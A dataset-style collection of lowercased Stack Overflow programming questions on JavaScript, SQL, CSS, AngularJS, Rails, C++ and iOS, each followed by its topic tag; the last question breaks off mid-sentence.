javascript - change div content with onclick  i need help about changing content with onclick function.    i got a table that contains 3 links like below ;   <pre><code>&lt;table class= galerimenu  name= gallerytype &gt;     &lt;tr&gt;         &lt;td &gt;&lt;a href= #  class= tattoo &gt;tattoo&lt;/a&gt;&lt;/td&gt;         &lt;td &gt;&lt;a href= #  class= piercing &gt;piercing&lt;/a&gt;&lt;/td&gt;         &lt;td &gt;&lt;a href= #  class= makeup &gt;makeup&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt;   the content that i need to call is a thumbnail gallery in div like ;  &lt;div class= banner  id= tattoo &gt;     &lt;ul&gt;          &lt;li&gt;             &lt;ul id= da-thumbs  class= active-da-thumbs da-thumbs &gt;                 &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;     &lt;/ul&gt;       &lt;/li&gt;   &lt;/div&gt;  &lt;div class= banner  id= piercing  style= display:none; &gt;     &lt;ul&gt;          &lt;li&gt;             &lt;ul id= da-thumbs  class= active-da-thumbs da-thumbs &gt;                 &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;     &lt;/ul&gt;       &lt;/li&gt;   &lt;/div&gt;  &lt;div class= banner  id= makeup  style= display:none; &gt;     &lt;ul&gt;          &lt;li&gt;             &lt;ul id= da-thumbs  class= active-da-thumbs da-thumbs &gt;                 &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;                  &lt;li&gt;                   &lt;a class= swipebox  data-title= image title  href= demo/1.jpg &gt;                   &lt;img src= demo/1.jpg  alt= image  /&gt;&lt;/a&gt;                  &lt;/li&gt;     &lt;/ul&gt;       &lt;/li&gt;   &lt;/div&gt; </code></pre>   i know that piercing and tattoo div need to be displayed as none on start. need a simple js to call and hide that 3 divs. thanks for help!    js code is ;   <pre><code> $(function() {         $( #gallerytype ).change(function(){             $( .banner ).hide();             $( #  + $(this).val()).show();         });     });  </code></pre>,javascript
sql self join on previous record for audit change  i am trying to get a sql query to return rows with the status of the previous time there was an audit log for the same account    like    <pre><code>create table aud ( id int identity(1 1)  date_time datetime  [user] varchar(20)  account varchar(20)  [status] char(2) ) insert into aud values(getdate()  guy   123456   00 ) insert into aud values(getdate()  guy   123456   01 ) insert into aud values(getdate()  guy   123456   02 ) insert into aud values(getdate()  guy   123456   00 ) insert into aud values(getdate()  guy   123456   04 ) insert into aud values(getdate()  guy   123456   01 ) </code></pre>   what i am looking for is a result that lists the previous account status something like  date_time  user  account  status  previous_status    i tried    <pre><code>select a.*  b.*  from aud a join aud b  on a.account = ( select top 1 account from aud  where a.account = b.account and a.id &gt; b.id order by date_time asc ) </code></pre>   but this joins more than just the previous one,sql
i want to remove this image  how can i remove this image: <a href= https://i.stack.imgur.com/kbqch.png  rel= nofollow noreferrer >image &lt;--</a>    link: <a href= http://infinitefun20.blogspot.gr  rel= nofollow noreferrer >infinitefun20.blogspot.gr</a>,css
jquery - copy name/title/alt tag from input to table  i have the following code   <pre><code>&lt;tr class= datagridalteritem  align= center &gt; &lt;td align= center &gt;     &lt;input id= ctl00_pagebody_grdcustomers_ctl117_rdocustomerselect  type= radio  name= rdo_ctl117  value= rdocustomerselect  onclick= check(this);  class= radio &gt; &lt;/td&gt;  &lt;div class= mydiv &gt; this is the related text for div### &lt;/div&gt; </code></pre>       what im trying to accomplish is to have the td  name  (name= rdo_ctl117 ) value copied to the div in the same row.     the end result would look like this   <pre><code>&lt;tr class= datagridalteritem  align= center &gt; &lt;td align= center &gt;     &lt;input id= ctl00_pagebody_grdcustomers_ctl117_rdocustomerselect  type= radio  name= rdo_ctl117  value= rdocustomerselect  onclick= check(this);  class= radio &gt; &lt;/td&gt;  &lt;div class=  mydiv name= rdo_ctl117 &gt; this is the related text for div### &lt;/div&gt; </code></pre>       ive tried using clone but it tries to copy the whole input element...i only need the name attribute.    i also tried next  prev  siblings  etc. but it doesnt behave as expected.   <pre><code>$( input[name^= rdo_ctl ] ).click(function(){  var tbltitle = $(this).attr( name ); $(this).next().prop( title   tbltitle); });  $( input[name^= rdo_ctl ] ).click(function(){     $(this).attr( name  name).appendto( .mydiv   name); }); </code></pre>   any suggestions,jquery
how can i view a selected item in detailpage using angularjs factory $http and $stateparameters  here is mij code but data is hardcoded and working perfect. when i try my data  dynamicly calling data responsed good. my question is look this script with hardcoded data. if i will selected item viewing in detailpage working nice.    shortly this hardcoded data must from webmethod. how can i do it     this is my html code for view menu as list;   <pre><code>&lt;div class= row &gt;     &lt;div class= col-lg-12 &gt;         &lt;ol class= breadcrumb &gt;             &lt;li class= active &gt;                 &lt;i class= fa fa-dashboard &gt;&lt;/i&gt; menu             &lt;/li&gt;         &lt;/ol&gt;          &lt;div class= row  ng-controller= desktopcontroller &gt;                      &lt;div class= col-lg-10 &gt;                 &lt;h2&gt;menu lijst&lt;/h2&gt;                 &lt;div class= table-responsive &gt;                     &lt;table class= table table-bordered table-hover table-striped &gt;                         &lt;thead&gt;                             &lt;tr&gt;                                 &lt;th&gt;id&lt;/th&gt;                                 &lt;th&gt;description&lt;/th&gt;                                 &lt;th&gt;state&lt;/th&gt;                                 &lt;th&gt;parentid&lt;/th&gt;                                 &lt;th&gt;parent&lt;/th&gt;                                 &lt;th&gt;menuitem id&lt;/th&gt;                                 &lt;th&gt;index&lt;/th&gt;                                 &lt;th&gt;&lt;/th&gt;                             &lt;/tr&gt;                         &lt;/thead&gt;                         &lt;tbody&gt;                             &lt;tr ng-repeat= menu in list  style= width:auto; &gt;                                                                &lt;td&gt;{{menu.description}}&lt;/td&gt;                                   &lt;td&gt;{{menu.state}}&lt;/td&gt;                                 &lt;td&gt;{{menu.parentid}}&lt;/td&gt;                                 &lt;td&gt;{{menu.parent}}                                 &lt;/td&gt;                                 &lt;td&gt;{{menu.menuitemid}}&lt;/td&gt;                                  &lt;td&gt;{{$index}}&lt;/td&gt;                                  &lt;td&gt;                                 &lt;a href= #/menudetail/{{$index}}  class= btn btn-info &gt;view detail&lt;/a&gt;                                 &lt;/td&gt;                                                        &lt;/tr&gt;                          &lt;/tbody&gt;                     &lt;/table&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   here is my detail menu view page...   <pre><code>    &lt;h1&gt;view detailmenu page&lt;/h1&gt;     &lt;br /&gt;     &lt;!--&lt;h1&gt;{{menu.description}}&lt;/h1&gt;--&gt; &lt;div class= row  ng-controller= viewdetailmenucontroller &gt;     &lt;div class= col-lg-10 &gt;         &lt;h2&gt;{{menu.description}}&lt;/h2&gt;      &lt;/div&gt; &lt;/div&gt;  app.factory( menuservice   function ($http) { </code></pre>   var obj = {         getallmenus: [{  id :  1    description :  motor    state :  1    parentid :  0    parent :      menuitemid :  0  }  {  id :  2    description :  filters    state :  0    parentid :  1    parent :  motor    menuitemid :  1  }  {  id :  3    description :  brandstof/tankdoppen    state :  0    parentid :  1    parent :  motor    menuitemid :  2  }  {  id :  4    description :  onsteking    state :  0    parentid :  1    parent :  motor    menuitemid :  3  }  {  id :  5    description :  accu/starten    state :  0    parentid :  1    parent :  motor    menuitemid :  4  }  {  id :  6    description :  bougies/bougiekabels    state :  0    parentid :  1    parent :  motor    menuitemid :  5  }  {  id :  7    description :  d-riemen/v-reim-sets    state :  0    parentid :  1    parent :  motor    menuitemid :  6  }  {  id :  8    description :  pakkingen    state :  0    parentid :  1    parent :  motor    menuitemid :  7  }  {  id :  9    description :  motorblok    state :  0    parentid :  1    parent :  motor    menuitemid :  8  }  {  id :  10    description :  cylinderkop    state :  0    parentid :  1    parent :  motor    menuitemid :  9  }  {  id :  11    description :  motormanagement    state :  0    parentid :  1    parent :  motor    menuitemid :  10  }  {  id :  12    description :  uitlaten    state :  0    parentid :  1    parent :  motor    menuitemid :  11  }  {  id :  13    description :  koeling    state :  2    parentid :  0    parent :      menuitemid :  12  }  {  id :  14    description :  airco    state :  0    parentid :  13    parent :  koeling    menuitemid :  13  }  {  id :  15    description :  koelsysteem/waterpomp    state :  0    parentid :  13    parent :  koeling    menuitemid :  14  }  {  id :  16    description :  schakelaars/sensoren    state :  0    parentid :  13    parent :  koeling    menuitemid :  15  }  {  id :  17    description :  slangen/leidingen    state :  0    parentid :  13    parent :  koeling    menuitemid :  16  }  {  id :  18    description :  onderstel    state :  1    parentid :  0    parent :      menuitemid :  17  }  {  id :  19    description :  stuurdelen    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  18  }  {  id :  20    description :  kabels    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  19  }  {  id :  21    description :  aandrijving/hoeaen    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  20  }  {  id :  22    description :  koppeling    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  21  }  {  id :  23    description :  wiellagers    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  22  }  {  id :  24    description :  schokdempers    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  23  }  {  id :  25    description :  veren    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  24  }  {  id :  26    description :  trekhaak    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  25  }  {  id :  27    description :  banden    state :  0    parentid :  19    parent :  stuurdelen    menuitemid :  26  }  {  id :  28    description :  remdelen nat/droog    state :  2    parentid :  0    parent :      menuitemid :  27  }  {  id :  29    description :  rem-delen/schijven    state :  0    parentid :  28    parent :  remdelen nat/droog    menuitemid :  28  }]     }   <pre><code>return obj; </code></pre>   });     controllers:   <pre><code>var app = angular.module( app   [ ui.router ]);  app.config(function ($stateprovider  $urlrouterprovider) {      $urlrouterprovider.otherwise( /home );     $stateprovider         .state( home   {             url:  /home               templateurl:  pages/home.html          })         .state( menu   {             url:  /menu               templateurl:  pages/menu.html          })       .state( menudetail   {           url:  /menudetail/{id}             templateurl:  pages/menudetail.html             controller:  viewdetailmenucontroller        });  });  app.run(function ($rootscope  $state) {     $rootscope.$state = $state; });  app.controller( desktopcontroller    function ($scope  menuservice) {      $scope.list = menuservice.getallmenus;  });  app.controller( viewdetailmenucontroller   function ($scope  menuservice  $stateparams) {      $scope.menu = menuservice.getallmenus[$stateparams.id];  });   </code></pre>   this work perfect. only my question is how can i do that selected menu view in detail page using $http $stateparams (dynamic data calling from webservice or webmethod)     before this question i have shared calling data from webmethod you can see it.     thanks...,angularjs
is that possible  how to add a number with database columns value using only query  my question is odd  but i really want to know that  how we can add(sum) a value in already saved value in database using only query. without any help of php or any other programming language.    <strong>for example:</strong> i have table like below in my database now i want to add 10 more into the column <code>total_students</code> so <code>total_students</code> becomes 60. is that possible or not using only query.    <pre><code>std_table +---------+-----------------+---------------+     r_no      total_students    pass_students +---------+-----------------+---------------+   20151           50               30        +---------+-----------------+---------------+ </code></pre>,sql
why is there a linkedlist in .net   what is the purpose of having a linked list  <a href= http://msdn.microsoft.com/en-us/library/he2s3bh7.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/he2s3bh7.aspx</a> what are it s qualities that make it an important part of the framework.,.net
concatenate last column query result if id match  i am getting this result by using select query.    <a href= https://i.stack.imgur.com/ywjgq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ywjgq.png  alt= enter image description here ></a>    but what actually i want the result is for example:   <pre><code>| 23407 | 42 m-65 giant jacket  brandit | size:l - colour:olive   | | 23417 | 42 m-65 giant jacket  brandit | size:2xl - colour:olive | | 23413 | 42 m-65 giant jacket  brandit | size:xl - colour:black  | </code></pre>,mysql
is object[0] sort of a default key for an object in javascript   here s a small javascript snippet:   <pre><code>  var re_words = /\w+/g;    var words;   while (words = re_words.exec(  here are a few (sic!) words  )) {      alert(words);   } </code></pre>   the loop alerts the words found in the input string  which is what i expected  because all the javascript tutorials tell me so.    now  <strong>typeof(words)</strong> results in <strong>object</strong>.    therefore  i would have expected <strong>alert(words)</strong> to give me <strong>object</strong>.    if i inspect the elements in words  i found them to be 0   index  and  input . the element words[0] is the same as what is alerted with words.    so  the question is: is the element 0 sort of a default index for an object in javascript which is returned if it is defined.     or asked differently: why does <strong>alert(words)</strong> give the same effect as <strong>alert(words[0])</strong>  i would have expected alert(words) to give a  object .,javascript
how to nest a namespaced ruby on rails controller  i have a controller in a name spaced controller/user directory  so its first line is   <pre><code>class user::bookingscontroller &lt; applicationcontroller </code></pre>   i have set the routes as follows   <pre><code>  resources :users do     namespace :user do       resources :bookings     end   end </code></pre>   the path to index action is <code>user_user_bookings_path</code> or   <pre><code>/users/:user_id/user/bookings(.:format) </code></pre>   which works fine  but the double <code>user_user</code> sounds like a catch 22 joke. is there a more elegant way to do this,ruby-on-rails
getting uncaught error: [$injector:unpr] when $scope injected  when i try to add <code>$scope</code> in the below give code i am getting error   <pre><code>angular.module( starter   [ ngroute    nganimate    myapp.controllers ])   .run([ $window    $location    $rootscope    $scope   function ($window  $location  $rootscope  $scope) {}]); </code></pre>   <strong>error:</strong>   <pre><code>uncaught error: [$injector:unpr] http://errors.angularjs.org/1.2.26/$injector/unpr p0=%24scopeprovider%20%3c-%20%24scope </code></pre>,angularjs
angularjs $stateprovider - resolve $scope  i m trying to resolve $scope for component-usage reasons but it seems to be a problem... please look at the code and let me know if you see a problem or have a different idea of how to implement it.   <pre><code>angular.module( app ).config(     function ($stateprovider) {         $stateprovider.state( home   {             url:  /home               views: {                   : {                     template: `&lt;my-comp user-logged-in= usermodel &gt;&lt;/my-comp&gt;`                 }             }              resolve: {                  $scope : function ($rootscope) {                     var scope = $rootscope.$new();                     scope.usermodel = {userid:1  name: user };                     return scope;                 }             }         })     }); </code></pre>   as you can see i m trying to pass the <strong>usermodel</strong> s data directly to the component controller  but it fails...    currently i m using the following logic which work s fine but i m trying something new :)   <pre><code>views: {       : {         template: `&lt;my-comp user-logged-in= $ctrl.usermodel &gt;&lt;/my-comp&gt;`          controller: function (userloggedin) {             this.usermodel = userloggedin;         }          controlleras:  $ctrl      } }  resolve: {     userloggedin: function (userloggedin) {         return userloggedin;     } } </code></pre>   please advise.,angularjs
classes not shown in ios dynamic framework  i have a dynamic framework (actually it s <code>numerickeyboard</code> library on github but it supports cocoapods only so i want to build a dynamic framework for personal use). if i use the framework on a newly test project  it works fine  all classes are shown:    <a href= https://i.stack.imgur.com/tn3i5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tn3i5.png  alt= enter image description here ></a>    but if i use it in my existing project  there s no classes at all:    <a href= https://i.stack.imgur.com/7hvp4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7hvp4.png  alt= enter image description here ></a>    two frameworks are the same. so what can be the problem with my existing project here  i tried clean derived data  clean project ... without any success.,ios
composite properties in constructor  i want to build an array of objects which look like this:   <pre><code>var someobject = {   id    groupa {     propertya: 0      propertyb: 0    }    groupb {     propertya: 0      propertyb: 0   totals {}  } </code></pre>   and add the following composite property:   <pre><code>object.defineproperty(someobject.groupa   propertyc      {     get: function() {        return someobject.groupa.propertya + someobject.groupa.propertyb;     }   }); </code></pre>   and use the same method to add the properties:   <ul> <li><code>groupb.propertyc</code> -> <code>groupb.propertya + groupb.propertyb</code></li> <li><code>totals.propertya</code> -> <code>groupa.propertya + groupb.propertya</code></li> <li><code>totals.propertyb</code> -> <code>groupa.propertyb + groupb.propertyb</code></li> <li><code>totals.propertyc</code> -> <code>groupa.propertyc + groupb.propertyc</code></li> </ul>   i got all this working by putting all this code in a function so it added someobject to an array.    but then i got to thinking that the read-only composite properties shouldn t need to be created for each object and could probably be in a prototype.    does this make sense  and is it possible  and if so: how,javascript
c++ char array not working  i m trying to get this program working  but get odd output. i know a char buffer is not ideal here  but it s for an assignment and not of my own design. here s my code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;cstring&gt; using namespace std;   //place your class definition here class student {    public:       void inputdata(int a  char s[20]  float e  float m  float sci);       void printdata();     private:       int admno;       char sname[20];       float eng;       float math;       float science;       float total;       float ctotal(); };   int main ()   //this is your main driver.  do not make any changes to it {     student obj ;     int a;     char s[20];     float e  m  sci;     cin &gt;&gt; a;     cin.getline(s 20);     cin.clear();     cin.ignore(10  \n );     cin &gt;&gt; e;     cin &gt;&gt; m;     cin &gt;&gt; sci;     obj.inputdata(a  s  e  m  sci);     obj.printdata();     return 0; }  //place your class member function definitions here  void student::inputdata(int a  char s[]  float e  float m  float sci) {    admno = a;    *sname = *s;    eng = e;    math = m;    science = sci;    total = ctotal(); }  void student::printdata() {    cout &lt;&lt;  admission number:   &lt;&lt; admno &lt;&lt; endl &lt;&lt;  student name:  ;    for (int i = 0; i &lt; 20; i++)       cout &lt;&lt; sname[i];    cout &lt;&lt; endl &lt;&lt;  english:   &lt;&lt; eng &lt;&lt; endl &lt;&lt;  math:   &lt;&lt; science &lt;&lt; endl &lt;&lt;  science:   &lt;&lt; science &lt;&lt; endl &lt;&lt;  total:   &lt;&lt; total; }  float student::ctotal() {    return (eng + math + science); } </code></pre>   here s my input:   <pre><code>98745 kyle smith 98 78 62 </code></pre>   here s the expected output:   <pre><code>admission number: 98745 student name: kyle smith english: 98 math: 78 science: 62 total: 238 </code></pre>   here s the actual output:   <pre><code>admission number: 98745 student name:   m  ╩`uäm■å■   ║k`u english: 98 math: 62 science: 62 total: 238 </code></pre>   please give advice on how to fix. i have to stick with that char buffer  but don t know why i m getting this corruption. thanks!,c++
web server instances   very newbie question  please forgive me:    i m creating an asp.net website.  i assume that when multiple people request the page each person gets a new instance of the site.  however  if the site uses a .jpg image on the server and manipulates the image  does each person get an instance of the image also  or do they share the image somehow   i think i know  and that this is probably a dumb question  but i wanted to ask.    as an example: a user logs into the site  and adds times to a schedule.  depending on the schedule  a blue line is drawn on an image (grid.jpg)  which depicts a daily timeline.  the image is then saved as newgrid.jpg and displayed to the user.  is there a way for each user to get an instance of the image that only they can see,asp.net
data not entering sqlite database - ruby on rails  i am running  rails console  and then the following command:   <pre><code> user.create(name: john   email: test@email.com   password: foo   password_confirmation: foo ) </code></pre>   and i get this:   <pre><code>   (0.1ms)  begin transaction   user exists (0.2ms)  select 1 from  users  where lower( users . email ) = lower( test@email.com ) limit 1    (0.1ms)  rollback transaction  =&gt; #&lt;user id: nil  name:  john   email:  test@email.com   created_at: nil  updated_at: nil  password_digest:  $2a$10$my0/9rgjwou46zycsc0tfocmxrpiqwtehwe1k27o/3ya... &gt; </code></pre>   when i check the file of the sqlite database using sqlite database browser i see nothing.    here is my user model:   <pre><code>class user &lt; activerecord::base      #these attributes can be modified by the users     attr_accessible :name  :email  :password  :password_confirmation     #ruby s way of calling a method below...     has_secure_password      #validation testing     validates :name  presence: true  length: { maximum: 50 }     #regular expression (there is an official one)     valid_email_regex = /\a[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i     #and add it..     validates :email  presence: true  format: { with: valid_email_regex }          uniqueness:  { case_sensitive: false }     #validate password      validates :password  length: {minimum: 6}     validates :password_confirmation  presence: true  end </code></pre>   why is data not entered in my database     i get this error with whatever i enter!    this for example:   <pre><code>1.9.3p125 :005 &gt; user.create(name: smith   email: smith@email.com   password: foo   password_confirmation: foo )    (0.1ms)  begin transaction   user exists (0.1ms)  select 1 from  users  where lower( users . email ) = lower( smith@email.com ) limit 1    (0.0ms)  rollback transaction  =&gt; #&lt;user id: nil  name:  smith   email:  smith@email.com   created_at: nil  updated_at: nil  password_digest:  $2a$10$6nzyrj0ipli6b4bsoqetuoicrbfvl1ix3eakpgjzjzqf... &gt; </code></pre>   i never entered a smith user with that email  and i still get that  user exists !    edit:    i got the error. the password limit is 5 i was entering a 3-letter password so when i type this:   <pre><code>user.create(name: smith   email: smith@email.com   password: foobar   password_confirmation: foobar )    (0.1ms)  begin transaction   user exists (0.2ms)  select 1 from  users  where lower( users . email ) = lower( smith@email.com ) limit 1 binary data inserted for `string` type on column `password_digest`   sql (1.7ms)  insert into  users  ( created_at    email    name    password_digest    updated_at ) values (             )  [[ created_at   mon  12 mar 2012 00:16:42 utc +00:00]  [ email    smith@email.com ]  [ name    smith ]  [ password_digest    $2a$10$v/fqauuppbdij44jvhxbkojt/uobtjvkp4kihzjhncf8rwpffkusi ]  [ updated_at   mon  12 mar 2012 00:16:42 utc +00:00]]    (266.9ms)  commit transaction  =&gt; #&lt;user id: 1  name:  smith   email:  smith@email.com   created_at:  2012-03-12 00:16:42   updated_at:  2012-03-12 00:16:42   password_digest:  $2a$10$v/fqauuppbdij44jvhxbkojt/uobtjvkp4kihzjhncf8... &gt; </code></pre>   i works  but i still get this weird user exists error... any ideas,ruby-on-rails
border occuring when put  a  tag outside  img  tag  without  a  tag it s fine:   <pre><code>&lt;style type= text/css &gt; body {     font: 1.0em verdana  arial  sans-serif; }  * {     margin:0; padding:0; }  &lt;/style&gt;  &lt;table cellpadding= 0  cellspacing= 0  border= 0 &gt;         &lt;tr&gt;                 &lt;td&gt;&lt;img src= /images/title_equipment.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/about.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/services.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/systems.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/equipment_new.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/equipment_used.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/news.gif  /&gt;&lt;/td&gt;                 &lt;td&gt;&lt;img src= /images/contact.gif  /&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;                 &lt;td&gt;&lt;img src= /images/balers.gif  /&gt;&lt;/td&gt;         &lt;/tr&gt; &lt;/table&gt; </code></pre>   but if adding  a  tag outside  img  border comes:   <pre><code>&lt;style type= text/css &gt; body {     font: 1.0em verdana  arial  sans-serif; }  * {     margin:0; padding:0; }  &lt;/style&gt;  &lt;table cellpadding= 0  cellspacing= 0  border= 0 &gt;         &lt;tr&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/title_equipment.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/about.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/services.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/systems.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/equipment_new.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/equipment_used.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/news.gif  /&gt;&lt;/a&gt;&lt;/td&gt;                 &lt;td&gt;&lt;a href= # &gt;&lt;img src= /images/contact.gif  /&gt;&lt;/a&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;                 &lt;td&gt;&lt;img src= /images/balers.gif  /&gt;&lt;/td&gt;         &lt;/tr&gt; &lt;/table&gt; </code></pre>,css
opening pdf from other application  i am developing an ipad application. in this application i am downloading the pdf from web. is it possible to open this pdf from another readers like adobe. i am saving the pdf in my custom directory.    if so how can i code in my application to open the pdf from another application,iphone
jquery on <select> change event not firing  i have the following in the header:   <pre><code>$( body ).on( change    #userfilter   function(){    console.log( changed ); }); </code></pre>   and this element is dynamically inserted on the page when a tab is clicked:   <pre><code>&lt;select id= userfilter &gt;     &lt;option value= 1 &gt;1&lt;/option&gt;     &lt;option value= 2 &gt;2&lt;/option&gt;     &lt;option value= 3 &gt;3&lt;/option&gt; &lt;/select&gt; </code></pre>   the problem is that when i change the dropdown nothing is shown in the console.,jquery
connecting to databases the wait operation timed out  i ve gotten the problem of connecting to databases for 1 month (it s safe to guess one)    plz check error in image screen shot    <img src= https://i.stack.imgur.com/cr67s.jpg  alt= sample image >    <img src= https://i.stack.imgur.com/vijbn.jpg  alt= sample image >    <img src= https://i.stack.imgur.com/o16ac.jpg  alt= sample image >    <a href= https://barnamenevisan.org/forums/post12152.html  rel= nofollow noreferrer >enter link description here</a>,asp.net
dealing with pixels in real-time using opencv  i just started to study opencv with python and was trying to build my first game bot. my thought is: capture the game window frame by frame and analyze the pixels in some specific locations  if the color of those pixels has changed  then press a key to do some automatic operations.    this game needs quick reactions so the fps is quite important  i have tried the mss and pil  but the fps in both methods are not enough (30+ with mss and 10+ with pil s imagegrab)  so i m wondering if there is any better way to deal with pixels in real-time. thanks!,python
how to log into file in resource folder  <pre><code>nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentsdirectory = [paths objectatindex:0];     nsstring *logpath = [documentsdirectory stringbyappendingpathcomponent:@ console2.log ];     freopen([logpath cstringusingencoding:nsasciistringencoding]  a+  stderr); </code></pre>    by this code i get logs in a log file present in application path (application support--   <blockquote>    iphone simulator--> ...)  but i wanted the logs in a log file present in a resource folder. how do i do that     </blockquote>,iphone
scaffold rails application removed show action  now edit/destroy no longer works  hi i generated a scaffold for my rails application. i put in resources for that model in the config file. i figure i can cut/modify what scaffold generated later. i removed the show method/view etc and now destroy/edit no longer works.     turns out that destroy/edit need show to be there as well because of resource.     i want to push show back into my application to fix this issue  can someone help me pinpoint the issue     trashes_controller.rb   <pre><code>class trashescontroller &lt; applicationcontroller   # get /trashes   # get /trashes.json     def index     @trash = trash.all     @json = @trash.to_gmaps4rails      end   end    # get /trashes/1   # get /trashes/1.json    def show     @trash = trash.find(params[:id])      respond_to do |format|       format.html # show.html.erb       format.json { render json: @trash }     end   end    # get /trashes/new   # get /trashes/new.json   def new     @trash = trash.new      respond_to do |format|       format.html # new.html.erb       format.json { render json: @trash }     end   end    # get /trashes/1/edit   def edit     @trash = trash.find(params[:id])   end    # post /trashes   # post /trashes.json   def create     @trash = trash.new(params[:trash])      respond_to do |format|       if @trash.save         format.html { redirect_to @trash  notice:  trash was successfully created.  }         format.json { render json: @trash  status: :created  location: @trash }       else         format.html { render action:  new  }         format.json { render json: @trash.errors  status: :unprocessable_entity }       end     end   end    # put /trashes/1   # put /trashes/1.json   def update     @trash = trash.find(params[:id])      respond_to do |format|       if @trash.update_attributes(params[:trash])         format.html { redirect_to @trash  notice:  trash was successfully updated.  }         format.json { head :no_content }       else         format.html { render action:  edit  }         format.json { render json: @trash.errors  status: :unprocessable_entity }       end     end   end    # delete /trashes/1   # delete /trashes/1.json    def destroy     @trash = trash.find(params[:id])     @trash.destroy      respond_to do |format|       format.html { redirect_to trashes_url }       format.json { head :no_content }     end   end </code></pre>   index.html.erb within trashes folder   <pre><code>&lt;h1&gt;listing boston/cambridge trash bin locations&lt;/h1&gt; &lt;%= gmaps4rails(@json) %&gt; &lt;table&gt;   &lt;tr&gt;     &lt;th&gt;name&lt;/th&gt;     &lt;th&gt;address&lt;/th&gt;     &lt;th&gt;category&lt;/th&gt;     &lt;th&gt;&lt;/th&gt;     &lt;th&gt;&lt;/th&gt;   &lt;/tr&gt;  &lt;% @trash.each do |trash| %&gt;   &lt;tr&gt;     &lt;td&gt;&lt;%= trash.name %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= trash.address %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= trash.category %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  show   trash %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  edit   edit_trash_path(trash) %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  destroy   trash  method: :delete  data: { confirm:  are you sure   } %&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; &lt;/table&gt;  &lt;br /&gt;  &lt;%= link_to  new boston solar powered trash can location   new_trash_path %&gt; </code></pre>   show.html.erb   <pre><code>&lt;p id= notice &gt;&lt;%= notice %&gt;&lt;/p&gt;  &lt;p&gt;   &lt;b&gt;name:&lt;/b&gt;   &lt;%= @trash.name %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;b&gt;address:&lt;/b&gt;   &lt;%= @trash.address %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;b&gt;category:&lt;/b&gt;   &lt;%= @trash.category %&gt; &lt;/p&gt;  &lt;%= link_to  edit   edit_trash_path(@trash) %&gt; | &lt;%= link_to  back   trashes_path %&gt; </code></pre>   i keep on getting undefined method `name  for nil:nilclass when i click show in my index root page in local host.     here is my rake routes pages  